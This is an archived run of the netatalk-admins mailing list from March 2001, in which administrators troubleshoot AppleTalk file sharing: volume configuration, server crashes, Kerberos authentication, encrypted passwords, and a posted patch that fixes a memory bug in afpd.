> /\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
> Computer Room Consultant
> Information Technology/Lab Management
> ============================================================
> I can be contacted through the Communication Center link from
> http://www.mother.com/~mjmiller/
> 


From netatalk.administrators-errors@umich.edu  Tue Mar 20 22:12:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA21288
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 22:12:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA22429
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 22:12:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA22416
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 22:12:04 -0500 (EST)
Received: from ltsc.ucsb.edu (ltsc.ucsb.edu [128.111.224.224])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA22404
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 22:12:02 -0500 (EST)
Received: from [192.168.0.1] ([63.194.57.46])
	by ltsc.ucsb.edu (8.9.3/8.9.3) with ESMTP id TAA22877
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 19:12:01 -0800
Date: Tue, 20 Mar 2001 19:11:32 -0800
From: David R Bosso <dbosso@ltsc.ucsb.edu>
To: netatalk-admins@umich.edu
Subject: Re: station locks 
Message-ID: <374658.3194104292@[192.168.0.1]>
In-Reply-To: <Pine.GSO.4.21.0103201811020.26909-100000@runner.ucdavis.edu>
X-Mailer: Mulberry/2.0.3 (MacOS)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline



--On Tuesday, March 20, 2001 6:15 PM -0800 Marc Miller 
<itlm019@mailbox.ucdavis.edu> wrote:

> Looks like your AppleVolumes.default is still at its default of ~ (make
> home directories mountable).  If that's not your intention, you need to
> either modify AppleVolumes.default or create a home directory for this
> user.
>
> As for size, I'm pretty sure I read that 20G is pretty much the maximum
> netatalk 1.4b2 or MacOS (or both?) can understand.  Some changes have been
> made in the 1.5 prereleases to break the 20G barrier, but I'm not quite
> sure how it's handled.  If it was a MacOS problem, I'd write the code to
> always return 20G free if the free space is >= 20G.  But I'm not sure how
> that patch was written.  I work with a 2G hard drive, so it's not
> something I've had the opportunity to play around with.  :)

Interesting.  I've got a 40G+ partition working fine with the last asun 
version, I haven't got around to installing one of the 1.5 prereleases yet.

-David

From netatalk.administrators-errors@umich.edu  Tue Mar 20 23:17:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA22873
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 23:17:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA14863
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 23:17:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA14838
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 23:17:42 -0500 (EST)
Received: from mail.arcor-ip.de (mail-ffm-p.arcor-ip.de [145.253.2.10])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA14800
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 23:17:40 -0500 (EST)
Received: from [192.168.1.20] (213.23.36.249) by mail.arcor-ip.de; 21 Mar 2001 05:17:47 +0100
Mime-Version: 1.0
X-Sender: jgrantha@mail.hannover.sgh-net.de
Message-Id: <p05010406b6ddda7050ff@[192.168.1.20]>
In-Reply-To: 
 <Pine.A41.3.96LJ1.1b7.1010320214546.35774B-100000@unlserve.unl.edu>
References: 
 <Pine.A41.3.96LJ1.1b7.1010320214546.35774B-100000@unlserve.unl.edu>
Date: Wed, 21 Mar 2001 05:15:54 +0100
To: Takashi Oe <toe@unlserve.unl.edu>, John L Grantham <john@grantham.com>
From: John L Grantham <john@grantham.com>
Subject: Re: Probs with netatalk -- server crashes
Cc: linuxppc-user@lists.linuxppc.org, netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 9:50 pm -0600 20/3/01, Takashi Oe wrote:
>On Wed, 21 Mar 2001, John L Grantham wrote:
>
>>  >>  I've been having some weird troubles with netatalk-1.4b2+asun2.1.3-7
>>  >>  on a beige G3 with LinuxPPC 2000 Q4, kernel 2.2.18, an Asante
>>  >>  10/100BaseT Ethernet card, and IBM 30 GB Deskstar IDE drive.
>>  >
>>  >[...]
>>  >
>>  >>  Any suggestions?
>>  >
>>  >Is the built-in network used in this scenario?
>>
>>  It is used, yes, but only for connecting to DSL. The Asante card is
>>  connected to the LAN.
>
>Ok, so it's not a bmac problem for sure.  Well, I suppose you could remove
>the voodoo card and see if anything changes as it is the only change.  You
>have changed your kernel, right?

Actually, no. I hadn't gotten that far yet. ;-)

One thing I just tried for the hell of it (let's just say I start 
getting, er, "creative" at 5 am...):

chmod -R g+s /netatalk/mount/point

That seems to have solved the problem of copying *to* the server, but 
*from* the server is still goofy. But why the permissions would 
suddenly all go blooey is a mystery...

Naturally I get this to halfway work _after_ hours of painstakingly 
copying files to various Macs in the LAN in preparation for a 
reformat of the drive. *sigh*

cya

John
-- 

John Grantham	| Dipl.-Designer (FH)
		| Homepage       http://design.macnews.de/
		| Linux for PPC  http://www.linuxppc.org/
Web Designer	| AGD Member     http://www.agd.de/

From netatalk.administrators-errors@umich.edu  Wed Mar 21 00:28:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA24286
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 00:28:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA03695
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 00:28:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA03671
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 00:28:24 -0500 (EST)
Received: from runner.ucdavis.edu (runner.ucdavis.edu [169.237.105.37])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA03618
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 00:28:22 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by runner.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f2L5SPx20083;
	Tue, 20 Mar 2001 21:28:26 -0800 (PST)
Date: Tue, 20 Mar 2001 21:28:25 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@runner.ucdavis.edu
To: "Eng. Fernando Meirelles Vieira" <engfmv@terra.com.br>
cc: netatalk-admins@umich.edu
Subject: Re: RES: station locks 
In-Reply-To: <JOEDLOAANNMIGPEFABLAIEDHCEAA.engfmv@terra.com.br>
Message-ID: <Pine.GSO.4.21.0103202125210.19437-100000@runner.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Take out the ~ line from AppleVolumes.default and that error should go
away.  

However, please note that users who have home directories on your system
will lose Appletalk access to them when that line is removed.  I'm not
sure how to make that "if the user has a home directory, make it
available, else ignore it."  Does anyone know how?  Even if Fernando
doesn't need that info, I'd like to know.  

On Tue, 20 Mar 2001, Eng. Fernando Meirelles Vieira wrote:

> Thank you for the clue, more I will
> admit that I don't know how to configure
> AppleVolumes.default correctly.
> 
> My parameters are:
> 
> papd.conf <--- Pattern of the installation
> afpd.conf <--- Pattern of the installation
> config <--- Pattern of the installation
> AppleVolumes.system <--- Pattern of the installation
> 
> 
> AppleVolumes.default
> =======================================
> /home/fernando
> /home/dir-pc
> /home/hdrede hdrede access=fernando,henrique,marcelo,@adm,@trabalho
> /home/hd30 hd30 access=fernando,henrique,marcelo,@adm,@trabalho
> /mnt/cdrom
> ~
> =======================================
> 
> atalk.conf
> =======================================
> eth1 -phase 2 -net 0-65534 -addr 65280.162
> =======================================
> 
> 
> 
> -----Mensagem original-----
> De: Marc Miller [mailto:itlm019@mailbox.ucdavis.edu]
> Enviada em: terca-feira, 20 de marco de 2001 23:16
> Para: Eng. Fernando Meirelles Vieira
> Cc: netatalk-admins@umich.edu
> Assunto: Re: station locks
> 
> 
> Looks like your AppleVolumes.default is still at its default of ~ (make
> home directories mountable).  If that's not your intention, you need to
> either modify AppleVolumes.default or create a home directory for this
> user.
> 
> As for size, I'm pretty sure I read that 20G is pretty much the maximum
> netatalk 1.4b2 or MacOS (or both?) can understand.  Some changes have been
> made in the 1.5 prereleases to break the 20G barrier, but I'm not quite
> sure how it's handled.  If it was a MacOS problem, I'd write the code to
> always return 20G free if the free space is >= 20G.  But I'm not sure how
> that patch was written.  I work with a 2G hard drive, so it's not
> something I've had the opportunity to play around with.  :)
> 
> On Tue, 20 Mar 2001, Eng. Fernando Meirelles Vieira wrote:
> 
> > I have a net Linux RedHat 6.2 with 4 mac and 4 pc,
> > with samba and AppleTalk: netatalk-1.4b2+asun2.1.3,
> > has 3 HD - 1 SCSI 4,5 - 1 IDE 20G - 1 IDE 30G,
> > when 1 or more workstation records in HD 30G the station MAC locks
> >
> > "Samba" not erro
> >
> > It follows log in the moment of the mistake + / - 10:16:
> >
> > /var/log/messages
> >
> > Mar 21 10:11:33 linux last message repeated 2 times
> > Mar 21 10:12:37 linux last message repeated 2 times
> > ======================
> > Mar 21 10:13:09 linux modprobe: modprobe: Can't locate module char-major-6
> > Mar 21 10:13:39 linux afpd[1469]: afp_alarm: child timed out
> > Mar 21 10:13:39 linux afpd[1469]: 30048.99KB read, 1122.12KB written
> > Mar 21 10:13:39 linux PAM_pwdb[1469]: (netatalk) session closed for user
> > fernando
> > Mar 21 10:13:39 linux afpd[1276]: server_child[1] 1469 exited 1
> > ======================
> > Mar 21 10:13:41 linux modprobe: modprobe: Can't locate module char-major-6
> > Mar 21 10:14:13 linux modprobe: modprobe: Can't locate module char-major-6
> > ======================
> > Mar 21 10:15:17 linux last message repeated 2 times
> > Mar 21 10:16:21 linux last message repeated 2 times
> > Mar 21 10:16:24 linux afpd[1649]: ASIP session:548(1) from
> > 10.10.10.169:49152(2)
> > Mar 21 10:16:24 linux afpd[1276]: server_child[1] 1649 done
> > Mar 21 10:16:35 linux afpd[1652]: ASIP session:548(1) from
> > 10.10.10.169:49153(2)
> > Mar 21 10:16:35 linux PAM_pwdb[1652]: (netatalk) session opened for user
> > fernando by (uid=0)
> > Mar 21 10:16:35 linux afpd[1652]: login fernando (uid 500, gid 4)
> > Mar 21 10:16:35 linux afpd[1652]: afp_getsrvrparms: stat /home/fernando:
> No
> > such file or directory
> > Mar 21 10:16:53 linux modprobe: modprobe: Can't locate module char-major-6
> > Mar 21 10:17:25 linux modprobe: modprobe: Can't locate module char-major-6
> > Mar 21 10:18:29 linux last message repeated 2 times
> >
> > []s
> > Fernando
> > engfmv@terra.com.br
> > Brazil
> >
> 
> ============================================================
> 	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
> 	Computer Room Consultant
> 	Information Technology/Lab Management
> ============================================================
> I can be contacted through the Communication Center link from
> http://www.mother.com/~mjmiller/
> 
> 

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Wed Mar 21 05:51:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA29445
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 05:51:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA28532
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 05:51:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA28516
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 05:51:38 -0500 (EST)
Received: from rogue.shadow.org (dsl-209-162-215-114.easystreet.com [209.162.215.114])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA28428
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 05:51:33 -0500 (EST)
Received: (from ns@localhost)
	by rogue.shadow.org (8.9.3/8.9.3) id CAA26129
	for netatalk-admins@umich.edu; Wed, 21 Mar 2001 02:51:32 -0800
Date: Wed, 21 Mar 2001 02:51:32 -0800
From: Sam Noble <ns@shadow.org>
To: netatalk-admins@umich.edu
Subject: Re: netatalk with AuthMan UAM
Message-ID: <20010321025132.A26118@shadow.org>
References: <20010319144423.A24082@shadow.org> <200103201405.JAA28195@terminator.rsug.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0.1i
In-Reply-To: <200103201405.JAA28195@terminator.rsug.itd.umich.edu>; from wesley.craig@umich.edu on Tue, Mar 20, 2001 at 09:05:47AM -0500

	I've spent the last few hours integrating the kerberos code from
um0 into the sourceforge-distributed stuff.  I've managed to get a litle
bit further with the AuthMan UAM but now I'm having more general Kerberos
problems.  We're running a recent Kerberos 5 release from MIT.  Hopefully
there's somebody here who can say "oh, you're stupid, you need to do X" or
at least a "you might want to look at Y to track down the problem".

	I realize that there might be a better forum for this problem, but
since I've not *ruled out* netatalk as the troublemaker, I'm going to hope
that there are some kerberos savy people reading this message.

	The most obvious cause of the problem is that the right stuff
isn't in /etc/srvtab (with the krb4 libraries included in the krb5
distribution, can krb4 applications read from krb5 keytab files?) but when
I use ktutil to create a srvtab file from the keytab file on the machine,
I get the following error:

ktutil:  wst /etc/srvtab
wst: Improper format of translation database entry while writing srvtab 
"/etc/srvtab"

	I'm satisfied that this might be the cause of all my troubles --
but at this point I have no idea how to deal with it.  By the way the name
of the afp server is "phebe"

from syslog:

Mar 21 02:09:12 phebe afpd[24445]: krb4_login: KRB4CMD_SESS
Mar 21 02:09:12 phebe afpd[24445]: krb4_login: krb_rd_req( &tkt, rcmd, *,
... ): Can't decode authenticator (krb_rd_req)

(I added &tkt, princ[], inst[], ... to hopefully provide a little more
insight -- it didn't really help)

relavant principles from the KDC:

afpserver/phebe@OURREALM
afpserver@OURREALM (just in case)
rcmd/phebe@OURREALM
rcmd@OURREALM (also just in case)

On Tue, Mar 20, 2001 at 09:05:47AM -0500, wesley.craig@umich.edu wrote:
> The Kerberos IV server UAM that you found at sourceforge probably
> doesn't match the protocol used in the most recent client UAM code.  We
> made changes to both to support AFP over TCP -- Apple changed the API
> to support DSI.  You can find server code that matches the most recent
> client code at
> 
>     ftp://rsug.itd.umich.edu/pub/users/wes/netatalk-1.4b2+asun2.1.3um0.tar.gz

From netatalk.administrators-errors@umich.edu  Wed Mar 21 06:07:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA29616
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 06:07:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA18795
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 06:07:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA18770
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 06:07:45 -0500 (EST)
Received: from nernst.chem.gla.ac.uk (nernst.chem.gla.ac.uk [130.209.221.174])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA18735
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 06:07:43 -0500 (EST)
Received: from london.chem.gla.ac.uk ([130.209.221.37] ident=jonp)
	by nernst.chem.gla.ac.uk with esmtp (Exim 2.02 #2)
	id 14fgSs-0006nB-00; Wed, 21 Mar 2001 11:07:42 +0000
Received: from localhost (jonp@localhost) by london.chem.gla.ac.uk (8.8.7/feedernode) with ESMTP id LAA23814; Wed, 21 Mar 2001 11:07:14 GMT
X-Authentication-Warning: london.chem.gla.ac.uk: jonp owned process doing -bs
Date: Wed, 21 Mar 2001 11:07:14 +0000 (GMT)
From: Jonathan Paisley <jonp@chem.gla.ac.uk>
To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
Subject: [PATCH] Problem with afpd unexpectedly dying (still)
Message-ID: <Pine.SOL.4.33.0103211057290.23781-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

I sent this message to the netatalk-devel mailing list last week, but
nobody seems to have commented on it. I also tried to post the patch on
the sourceforge project page but the file attach didn't seem to be working
and (I think) line wrapping would have destroyed the patch. Having read
some recent messages on netatalk-admins, I thought I would re-post.

Apologies for cross-posting and re-posting.

Date: Mon, 12 Mar 2001 22:47:08 +0000 (GMT)
From: Jonathan Paisley
To: netatalk-devel@lists.sourceforge.net
Subject: [PATCH] Problem with afpd unexpectedly dying

Hi,

I think I've found an possible issue with netatalk1.5pre5.

When copying some files from a netatalk share in the Finder to the local
disk, the server unexpectedly disconnects (the afpd segfaults).

I managed to track this down to the following sequence of events. This
depends on the file in question having no .AppleDouble entry. Try copying
the same file twice, without doing anything in between.

afp_openfork() is called on the data fork
afp_openfork() is called on the resource fork
    -- the actual .AppleDouble file couldn't be opened, but
    -- the call succeeds anyway to imitate an empty resource fork
afp_closefork() is called on the data fork returned above
    ** this call frees the struct adouble that's shared by the
    ** ofork entry. This happens because the file descriptor for the
    ** data and resource forks are both now set to -1.

a subsequent call to getforkparams() (e.g.) on the still open resource
fork is now referencing an invalid memory location in the stale struct
adouble.

I'm not sure what the best fix for this situation is, but I made a
temporary fix by adding a simple reference count to struct adouble which
is maintained by the code in afpd/ofork.c. I also ensure that the memory
allocated for the struct adouble in of_alloc is memset() to 0 to ensure
absolutely that ad_open initialises the structure (and the refcount)
correctly.

Is anyone else a little bit worried about relying on magic numbers for
initialisation of those struct adoubles?

Here follows the patch (I hope it hasn't got mangled!):

diff -ur netatalk-1.5pre5/etc/afpd/ofork.c
netatalk-1.5pre5.new/etc/afpd/ofork.c
--- netatalk-1.5pre5/etc/afpd/ofork.c	Wed Aug  2 20:28:05 2000
+++ netatalk-1.5pre5.new/etc/afpd/ofork.c	Mon Mar 12 22:16:54 2001
@@ -168,12 +168,27 @@
     of = oforks[of_refnum];

     /* see if we need to allocate space for the adouble struct */
-    if ((of->of_ad = ad ? ad :
-	 calloc(1, sizeof(struct adouble))) == NULL) {
-	syslog( LOG_ERR, "of_alloc: malloc: %m" );
-	return NULL;
+    if (!ad) {
+
+    	ad = malloc(sizeof(struct adouble));
+	if (!ad) {
+	    syslog( LOG_ERR, "of_alloc: malloc: %m" );
+	    return NULL;
+	}
+
+    	/* initialise to zero. This is important to ensure that
+	   ad_open really does reinitialise the structure. */
+	memset(ad,0,sizeof(struct adouble));
+
+    } else {
+    	/* Increase the refcount on this struct adouble. This is
+	   decremented again in ofork_dealloc
+	 */
+    	ad->ad_refcount++;
     }

+    of->of_ad = ad;
+
     of->of_vol = vol;
     of->of_dir = dir;

@@ -252,9 +267,11 @@

     oforks[ of->of_refnum ] = NULL;
     free( of->of_name );
-    /* free of_ad */
-    if ((of->of_ad->ad_hf.adf_fd == -1) &&
-	(of->of_ad->ad_df.adf_fd == -1)) {
+
+    /* decrease refcount */
+    of->of_ad->ad_refcount--;
+
+    if (of->of_ad->ad_refcount<=0) {
       free( of->of_ad);
     } else {/* someone's still using it. just free this user's locks */
       ad_unlock(of->of_ad, of->of_refnum);
diff -ur netatalk-1.5pre5/include/atalk/adouble.h
netatalk-1.5pre5.new/include/atalk/adouble.h
--- netatalk-1.5pre5/include/atalk/adouble.h	Wed Oct  4 16:21:41 2000
+++ netatalk-1.5pre5.new/include/atalk/adouble.h	Mon Mar 12
22:17:55 2001
@@ -181,6 +181,7 @@
     struct ad_entry	ad_eid[ ADEID_MAX ];
     struct ad_fd	ad_df, ad_hf;
     int                 ad_flags, ad_inited;
+    int     	    	ad_refcount; /* used in afpd/ofork.c */
 #ifdef USE_MMAPPED_HEADERS
     char                *ad_data;
 #else
diff -ur netatalk-1.5pre5/libatalk/adouble/ad_open.c
netatalk-1.5pre5.new/libatalk/adouble/ad_open.c
--- netatalk-1.5pre5/libatalk/adouble/ad_open.c	Thu Mar  1 18:11:33 2001
+++ netatalk-1.5pre5.new/libatalk/adouble/ad_open.c	Mon Mar 12
20:44:30 2001
@@ -600,6 +600,8 @@
 	ad->ad_data = MAP_FAILED;
 #endif
         ad->ad_inited = AD_INITED;
+
+	ad->ad_refcount = 1;
     }

     if (adflags & ADFLAGS_DF) {

-- 
Jonathan Paisley
jonp@chem.gla.ac.uk


From netatalk.administrators-errors@umich.edu  Wed Mar 21 11:00:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA06900
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 11:00:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA21925
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 11:00:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA21896
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 11:00:10 -0500 (EST)
Received: from garnet.tc.umn.edu (garnet.tc.umn.edu [160.94.218.249])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA21843
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 11:00:08 -0500 (EST)
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 21 Mar 2001 10:00:07 -0600
Date: Wed, 21 Mar 2001 10:00:07 -0600 (CST)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Re: rand2num passwords OpenBSD 2.8
In-Reply-To: <3AB7826A.5E757F84@gac.edu>
Message-Id: <Pine.SOL.4.20.0103210950080.22741-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


It is appropriate to this list to post compilation problems, or should
those just be sent to the netatalk@umich.edu address?

on 03.20.01, Curtis Hulett wisely declared:

> Have you created the afppasswd file? I was having the same problem as
> you untill yesterday when I realized I might not have the correct
> passwcd file. I just used 
> 
> afppasswd -c 

I was under the impression that this is only new to the 1.499 and 1.5pre
trees? I have been unable to compile anything above 1.4b2+asun2.1.3 on my
system. I dropped the umich folks a note about it. I'm on
1.4b2+asun2.1.3/OpenBSD 2.8.
 
> to create it and then changed the passwords for my test accounts. I then
> had to add
> 
>  -uamlist uams_randnum.so

I have't yet figured out how to "activate" the UAM's on my system on
1.4b2..., everything that is needed is on the system, but the make isn't
adding them in, and I haven't seen how to do it in any of the
documentation for that release (I have been very impressed with the
documentation for 1.5pre5, though, great job!)
 
> My question is: is there another way to get encryption to work? It would
> be nice to have encrypted passwords, but still be able to use
> /etc/shadow as the passwd file.

I second this question. I haven't figured out any way to get encryption to
work on 1.4b2 on my system, regardless of Mac OS. As far as I know,
OpenBSD doesn't support shadow passwords, there is a master.passwd file
instead, so I haven't dared try to add in --dshadow in my makefile.

I'm willing to use any encryption method (except kerberos, I'm not up for
that quite yet!) at this point, until the 1.5 or 1.6 tree compiles on my
system and I can do it "correctly."

-Karen

> Karen A Swanberg wrote:
> > 
> > I've scoured the mail archives and the docs for the answer to this one, it
> > should be working...
> > 
> > I've installed netatalk 1.4b2+asun2.1.3 on an OpenBSD 2.8
> > server. Everything works except getting encrypted passwords. I've tried a
> > number of things. First, my makefile did have the directory to find des.a
> > and libdes.a, and compiled without errors. Is there something I need to do
> > to activate DES in the OpenBSD kernel? I can't imagine the default GENERIC
> > kernel doesn't have it turned on.
> > 
> > I had my rc.local file disabling guest as it launched afpd for awhile,
> > with the -G option, but turned it off while working on this problem.
> > 
> > Right now my afpd.conf files says:
> > 
> > "server" -noguest -nocleartext -savepassword -setpassword -rand2num
> > 
> > AppleVolumes.default has:
> > 
> > ~
> > /home/public    "PublicFileShare"
> > 
> > The macs will still let me on, but the login screen says "cleartext" and
> > won't let me change or set passwords.  This is true on OS 8.1, 8.6 and
> > 9.0.4.
> > 
> > .passwd exists in my home directory, and in /home/public, and has
> > the correct permissions etc.
> > 
> > When I make those changes to afpd.conf, and SIGHUP afpd and atalkd, this
> > turns up in /var/log/daemon:
> > 
> > afpd[24529] disallowing logins
> > 
> > But I can still log in from the macs as myself and the test account.
> > 
> > I just started working with Netatalk a week or so ago, so I'm still fairly
> > new to it's workings.
> > 
> > I see references to afppasswd in the mail archives, but no such thing
> > exists on my system. Is that linux only?
> > 
> > I think I'm missing something really simple. Anyone see it?
> > 
> > And, another really stupid question. I was using the precompiled
> > port/package of netatalk for OpenBSD first, and had problems. So I
> > compiled the one I'm using now and it works much better. But the port had
> > the BSD devil icon on the share tray instead of the world, which the
> > compiled version has. I'd like the BSD icon back, but when I get the copy
> > on the BSD webpage, it's not transparent, and I can't get it to be
> > transparent. I've tried a number of methods to make it transparent, but
> > apparently I'm much more graphically challenged than I thought. I don't
> > suppose someone would be willing to send me a copy of the transparent BSD
> > appleshare icon?
> > 
> > Thanks and sincerely,
> > 
> > *                                                     *
> > Karen Swanberg              |
> > Network Admin.              | Error: Sector not found--
> > Dept. of Geology/Geophysics |search behind couch? (Y/N)
> > 206 Pillsbury Hall          |
> > 310 Pillsbury Ave. SE       |
> > University of Mn            |  Enter any 11-digit prime
> > Minneapolis, MN 55455       |     number to continue...
> > (612) 624-6541              |
> > *                                                     *
> 


*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |                         
University of Mn            |  Enter any 11-digit prime
Minneapolis, MN 55455       |     number to continue...
(612) 624-6541              |                         
*                                                     *



From netatalk.administrators-errors@umich.edu  Wed Mar 21 11:09:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07086
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 11:09:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA16127
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 11:09:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA16102
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 11:09:43 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA16045
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 11:09:41 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id RAA02901
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 17:05:58 +0100
Message-ID: <3AB8D168.76F38568@euc.de>
Date: Wed, 21 Mar 2001 17:06:00 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: a newbie question
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi ,

where can I find an archive of these emails?


(I know - it's not a tricky question, but...)


-- 
--schnipp-- 

best regards
-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de
http://www.euc.de

From netatalk.administrators-errors@umich.edu  Wed Mar 21 11:22:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
